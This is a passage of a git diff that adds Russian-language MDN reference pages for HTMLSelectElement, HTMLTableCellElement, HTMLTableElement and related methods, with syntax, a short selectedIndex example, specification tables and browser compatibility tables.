+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1)}}</td>
+   <td>1.0</td>
+   <td>1.0</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td><code>item()</code> and <code>namedItem()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(2.0)}}</td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>setCustomValidity()</code>, <code>checkValidity()</code>, <code>willValidate</code>, <code>validationMessage</code>, <code>validity</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(2.0)}}</td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>selectedOptions</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(26)}}</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>labels</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] See {{bug("556743")}}.</p>
+
+<p>[2] Historically, Firefox has allowed keyboard and mouse events to bubble up from the <code>&lt;option&gt;</code> element to the parent {{HTMLElement("select")}} element. This doesn't happen in Chrome, however, although this behavior is inconsistent across many browsers. For better Web compatibility (and for technical reasons), when Firefox is in multi-process mode and the <code>&lt;select&gt;</code> element is displayed as a drop-down list. The behavior is unchanged if the <code>&lt;select&gt;</code> is presented inline and it has either the <code>multiple</code> attribute defined or a <code>size</code> attribute set to more than 1. Rather than watching <code>&lt;option&gt;</code> elements for events, you should watch for {event("change")}} events on {{HTMLElement("select")}}. See {{bug(1090602)}} for details.</p>
+
+<p>[3] namedItem does not appear to take the <code>name</code> attribute into account (only the <code>id</code> attribute) on Internet Explorer and Edge. There is a <a href="https://connect.microsoft.com/IE/feedbackdetail/view/2414092/">bug report</a> to Microsoft about this.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{HTMLElement("select")}} HTML element, which implements this interface.</li>
+</ul>
diff --git a/files/ru/web/api/htmlselectelement/selectedindex/index.html b/files/ru/web/api/htmlselectelement/selectedindex/index.html
new file mode 100644
index 0000000000..ce7468e168
--- /dev/null
+++ b/files/ru/web/api/htmlselectelement/selectedindex/index.html
@@ -0,0 +1,122 @@
+---
+title: HTMLSelectElement.selectedIndex
+slug: Web/API/HTMLSelectElement/selectedIndex
+tags:
+  - HTML формы
+  - HTMLSelectElement
+translation_of: Web/API/HTMLSelectElement/selectedIndex
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><code><strong>HTMLSelectElement.selectedIndex </strong></code>показывает порядковый номер первого выбранного элемента <code>{{HTMLElement("option")}}</code>. Значение -1 означает, что ни один из элементов не выбран.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>index</var> = <var>selectElem</var>.selectedIndex;
+<em>selectElem<code>.selectedIndex = </code>index;</em>
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p id="p"&gt;Индекс выбранного элемента: 0&lt;/p&gt;
+
+&lt;select id="select"&gt;
+  &lt;option selected&gt;Option A&lt;/option&gt;
+  &lt;option&gt;Option B&lt;/option&gt;
+  &lt;option&gt;Option C&lt;/option&gt;
+  &lt;option&gt;Option D&lt;/option&gt;
+  &lt;option&gt;Option E&lt;/option&gt;
+&lt;/select&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js; highlight[6]">var selectElem = document.getElementById('select')
+var pElem = document.getElementById('p')
+
+// Когда выбран новый элемент &lt;option&gt;
+selectElem.addEventListener('change', function() {
+  var index = selectElem.selectedIndex;
+  // Добавить данные в &lt;p&gt;
+  pElem.innerHTML = 'selectedIndex: ' + index;
+})</pre>
+
+<p>{{EmbedLiveSample("Example", "200px", "80px")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-select-selectedindex', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Никаких изменений с момента последнего снимка, {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#dom-select-selectedindex', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Исходное определение, снимка с {{SpecName("HTML WHATWG")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/htmlselectelement/setcustomvalidity/index.html b/files/ru/web/api/htmlselectelement/setcustomvalidity/index.html
new file mode 100644
index 0000000000..8778a21cc7
--- /dev/null
+++ b/files/ru/web/api/htmlselectelement/setcustomvalidity/index.html
@@ -0,0 +1,106 @@
+---
+title: HTMLSelectElement.setCustomValidity()
+slug: Web/API/HTMLSelectElement/setCustomValidity
+translation_of: Web/API/HTMLSelectElement/setCustomValidity
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>Метод <code><strong>HTMLSelectElement.setCustomValidity()</strong></code> устанавливает  специальное сообщение для  выбранного элемента. Если элемент не имеет пользовательской ошибки в параметре укажите пустую строку.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="eval  language-html"><code class="language-html"><em>selectElt</em>.setCustomValidity(<em>string</em>);</code></pre>
+
+<h3 id="Параметр">Параметр</h3>
+
+<ul>
+ <li><em>Строка</em> {{domxref("DOMString")}}  содержащая сообщение об ошибке.</li>
+</ul>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-cva-setcustomvalidity', 'HTMLSelectElement.setCustomValidity()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName('HTML5 W3C')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#dom-cva-setcustomvalidity', 'HTMLSelectElement.setCustomValidity()')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition, snapshot of {{SpecName('HTML WHATWG')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузеров">Поддержка браузеров</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Edge</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(2.0)}}</td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">Проверка(валидация) форм.</a></li>
+</ul>
diff --git a/files/ru/web/api/htmltablecellelement/index.html b/files/ru/web/api/htmltablecellelement/index.html
new file mode 100644
index 0000000000..c7ea5e85b1
--- /dev/null
+++ b/files/ru/web/api/htmltablecellelement/index.html
@@ -0,0 +1,155 @@
+---
+title: HTMLTableCellElement
+slug: Web/API/HTMLTableCellElement
+translation_of: Web/API/HTMLTableCellElement
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p>Интерфейс <strong><span class="external"><code>HTMLTableCellElement</code></span></strong> содержит специальные свойства и методы (beyond the regular {{domxref("HTMLElement")}} interface it also has available to it by inheritance) for manipulating the layout and presentation of table cells, either header or data cells, in an HTML document.</p>
+
+<h2 id="Properties" name="Properties">Properties</h2>
+
+<p><em>Inherits properties from its parent, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLTableCellElement.colSpan")}}</dt>
+ <dd>Is an <code>unsigned</code> <code>long</code> that represents the number of columns this cell must span. It reflects the {{htmlattrxref("colspan", "td")}} attribute.</dd>
+ <dt>{{domxref("HTMLTableCellElement.rowSpan")}}</dt>
+ <dd>Is an <code>unsigned</code> <code>long</code> that represents the number of rows this cell must span. It reflects the {{htmlattrxref("rowspan", "td")}} attribute.</dd>
+ <dt>{{domxref("HTMLTableCellElement.headers")}} {{readonlyInline}}</dt>
+ <dd>Is a {{domxref("DOMSettableTokenList")}} describing a list of <code>id</code> of {{HTMLElement("th")}} elements that represents headers associated with the cell. It reflects the {{htmlattrxref("headers", "td")}} attribute.</dd>
+ <dt>{{domxref("HTMLTableCellElement.cellIndex")}} {{readonlyInline}}</dt>
+ <dd>Is a <code>long</code> representing the cell position in the cells collection of the {{HTMLElement("tr")}} it belongs to. If the cell doesn't belong to a <code>&lt;tr&gt;</code>, it returns <code>-1</code>.</dd>
+ <dt>{{domxref("HTMLTableCellElement.align")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing an enumerated value reflecting the {{htmlattrxref("align", "td")}} attribute. It indicates the alignment of the element's contents with respect to the surrounding context. The possible values are <code>"left"</code>, <code>"right"</code>, and <code>"center"</code>.</dd>
+ <dt>{{domxref("HTMLTableCellElement.bgColor")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the background color of the cells. It reflects the obsolete {{htmlattrxref("bgColor", "td")}} attribute.</dd>
+ <dt>{{domxref("HTMLTableCellElement.axis")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing a name grouping cells in virtual. It reflects the obsolete {{htmlattrxref("axis", "td")}} attribute.</dd>
+ <dt>{{domxref("HTMLTableCellElement.height")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing a length of pixel of the hinted height of the cell. It reflects the obsolete {{htmlattrxref("height", "td")}} attribute.</dd>
+ <dt>{{domxref("HTMLTableCellElement.width")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing a length of pixel of the hinted width of the cell. It reflects the obsolete {{htmlattrxref("width", "td")}} attribute.</dd>
+ <dt>{{domxref("HTMLTableCellElement.ch")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing one single chararcter. This character is the one to align all the cell of a column on. It reflects the {{htmlattrxref("char", "td")}} and default to the decimal points associated with the language, e.g. <code>'.'</code> for English, or <code>','</code> for French. This property was optional and was not very well supported.</dd>
+ <dt>{{domxref("HTMLTableCellElement.chOff")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing a integer indicating how many characters must be left at the right (for left-to-right scripts; or at the left for right-to-left scripts) of the character defined by <code>HTMLTableCellElement.ch</code>. This property was optional and was not very well supported.</dd>
+ <dt>{{domxref("HTMLTableCellElement.noWrap")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("Boolean")}} value reflecting the {{htmlattrxref("nowrap", "td")}} attribute and indicating if cell content can be broken in several lines.</dd>
+ <dt>{{domxref("HTMLTableCellElement.vAlign")}} {{obsolete_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing an enumerated value indicating how the content of the cell must be vertically aligned. It reflects the {{htmlattrxref("valign", "td")}} attribute and can have one of the following values: <code>"top"</code>, <code>"middle"</code>, <code>"bottom"</code>, or <code>"baseline"</code>.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Methods</h2>
+
+<p><em>No specific method; inherits methods from its parent, {{domxref("HTMLElement")}}</em>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "tabular-data.html#htmltablecellelement", "HTMLTableCellElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "tabular-data.html#htmltablecellelement", "HTMLTableCellElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>The following properties have been obsoleted: <code>align</code>, <code>axis</code>, <code>bgColor</code>, <code>height</code>, <code>width</code>, <code>ch</code>, <code>chOff</code>, <code>noWrap</code>, and <code>vAlign</code>.<br>
+    The <code>headers</code> property is now read-only and contains a {{domxref("DOMSettableTokenList")}} rather than a mere {{domxref("DOMString")}}.<br>
+    The <code>colspan</code> and <code>rowspan</code> properties are now <code>unsigned long</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-82915075', 'HTMLTableCellElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>The <code>cellIndex</code> property is now read-only.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-82915075', 'HTMLTableCellElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ch</code> and <code>chOff</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ch</code> and <code>chOff</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The HTML elements implementing this interface: {{HTMLElement("th")}} and {{HTMLElement("td")}} by inheritance via {{domxref("HTMLTableHeaderCellElement")}} and {{domxref("HTMLTableDataCellElement")}}.</li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/api/htmltableelement/index.html b/files/ru/web/api/htmltableelement/index.html
new file mode 100644
index 0000000000..31bfff1ca8
--- /dev/null
+++ b/files/ru/web/api/htmltableelement/index.html
@@ -0,0 +1,200 @@
+---
+title: HTMLTableElement
+slug: Web/API/HTMLTableElement
+tags:
+  - API
+  - HTML DOM
+  - Reference
+  - Référence(2)
+  - Интерфейсы
+translation_of: Web/API/HTMLTableElement
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<p>Объекты <code>table</code> описывают интерфейс <code><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-64060425">HTMLTableElement</a></code>, который содержит дополнительные свойства и методы (по сравнению с обычным объектным интерфейсом <a href="/ru/docs/DOM/element"><code>element</code></a> которые также доступны вследствии наследования) для управления внешним видом таблиц HTML.</p>
+
+<h2 id=".D0.A1.D0.B2.D0.BE.D0.B9.D1.81.D1.82.D0.B2.D0.B0" name=".D0.A1.D0.B2.D0.BE.D0.B9.D1.81.D1.82.D0.B2.D0.B0">Свойства</h2>
+
+<p><em>Наследует свойства от родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt><a href="/ru/docs/DOM/table.caption">table.caption</a></dt>
+ <dd><strong>caption</strong> возвращает заголовок таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.tHead">table.tHead</a></dt>
+ <dd><strong>tHead</strong> возвращает header таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.tFoot">table.tFoot</a></dt>
+ <dd><strong>tFoot</strong> возвращает footer таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.rows">table.rows</a></dt>
+ <dd><strong>rows</strong> возвращает строки таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.tBodies">table.tBodies</a></dt>
+ <dd><strong>tBodies</strong> возвращает тела таблицы.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/ru/docs/DOM/table.align">table.align</a></dt>
+ <dd><strong>align</strong> возвращает/устанавливает выравнивание таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.bgColor">table.bgColor</a></dt>
+ <dd><strong>bgColor</strong> возвращает/устанавливает цвет фона таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.border">table.border</a></dt>
+ <dd><strong>border</strong> возвращает/устанавливает рамку таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.cellPadding">table.cellPadding</a></dt>
+ <dd><strong>cellPadding</strong> возвращает/устанавливает cellpadding.</dd>
+ <dt><a href="/ru/docs/DOM/table.cellSpacing">table.cellSpacing</a></dt>
+ <dd><strong>cellSpacing</strong> возвращает/устанавливает cellspacing.</dd>
+ <dt><a href="/ru/docs/DOM/table.frame">table.frame</a></dt>
+ <dd><strong>frame</strong> определяет, какие стороны таблицы имеют рамку.</dd>
+ <dt><a href="/ru/docs/DOM/table.rules">table.rules</a></dt>
+ <dd><strong>rules</strong> определяет, какие внутренние рамки являются видимыми.</dd>
+ <dt><a href="/ru/docs/DOM/table.summary">table.summary</a></dt>
+ <dd><strong>summary</strong> возвращает/устанавливает описание таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.width">table.width</a></dt>
+ <dd><strong>width</strong> возвращает/устанавливает ширину таблицы.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<p><em>Наследует методы от своего родителя, {{domxref("HTMLElement")}}</em>.</p>
+
+<dl>
+ <dt><a href="/ru/docs/DOM/table.createTHead">table.createTHead</a></dt>
+ <dd><strong>createTHead</strong> создает header таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.deleteTHead">table.deleteTHead</a></dt>
+ <dd><strong>deleteTHead</strong> удаляет header таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.createTFoot">table.createTFoot</a></dt>
+ <dd><strong>createTFoot</strong> создает footer таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.deleteTFoot">table.deleteTFoot</a></dt>
+ <dd><strong>deleteTFoot</strong> удаляет footer таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.createCaption">table.createCaption</a></dt>
+ <dd><strong>createCaption</strong> создает заголовок таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.deleteCaption">table.deleteCaption</a></dt>
+ <dd><strong>deleteCaption</strong> удаляет заголовок таблицы.</dd>
+ <dt><a href="/ru/docs/DOM/table.insertRow">table.insertRow</a></dt>
+ <dd><strong>insertRow</strong> вставляет строку.</dd>
+ <dt><a href="/ru/docs/DOM/table.deleteRow">table.deleteRow</a></dt>
+ <dd><strong>deleteRow</strong> удаляет строку.</dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "tabular-data.html#the-table-element", "HTMLTableElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Добавляет свойство <code>sortable</code> и метод <code>stopSorting()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "tabular-data.html#the-table-element", "HTMLTableElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Добавляет метод <code>createTBody()</code>.<br>
+    Obsoleted xaz</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-64060425', 'HTMLTableElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Defined when <code>caption</code>, <code>tHead</code>, <code>tFoot</code>, <code>insertRow()</code>, and <code>deleteRow()</code> raise exceptions.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-64060425', 'HTMLTableElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>sortable</code> property and <code>stopSorting()</code> method {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>createTBody()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>sortable</code> property and <code>stopSorting()</code> method {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>createTBody()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(25.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>Элемент HTML, реализующий данный интерфейс: {{HTMLElement("table")}}.</li>
+</ul>
+
+<p><span id="cke_bm_222C" style="display: none;"> </span></p>
diff --git a/files/ru/web/api/htmltableelement/insertrow/index.html b/files/ru/web/api/htmltableelement/insertrow/index.html
new file mode 100644
index 0000000000..ea8d0f16aa
--- /dev/null
+++ b/files/ru/web/api/htmltableelement/insertrow/index.html
@@ -0,0 +1,154 @@
+---
+title: HTMLTableElement.insertRow()
+slug: Web/API/HTMLTableElement/insertRow
+tags:
+  - API
+  - HTML DOM
+  - HTMLTableElement
+  - Method
+  - Reference
+translation_of: Web/API/HTMLTableElement/insertRow
+---
+<div>
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+</div>
+
+<p>Метод <strong><code>HTMLTableElement.insertRow()</code></strong><code>добавляет новую строку в таблицу и возвращает на неё ссылку.</code></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>row</em> = <em>HTMLTableElement</em>.insertRow(<em>optional index = -1</em>);</pre>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/HTMLTableElement"><code>HTMLTableElement</code></a> — ссылка на <em>HTML table</em> элемент.</li>
+ <li><code>index</code> — индекс новой строки</li>
+ <li><code>row</code> присваивается ссылка на новую строку. Ссылка на <a href="/en-US/docs/Web/API/HTMLTableRowElement">HTMLTableRowElement</a>.<br>
+  Если значение <code>index</code> равно -1 или количеству строк, то строка добавляется как последняя. Если значение <code>index</code> превышает количество строк, <em>выбрасывается</em> исключение IndexSizeError. Если аргумент index пропущен, он равен значению по умолчанию — -1.</li>
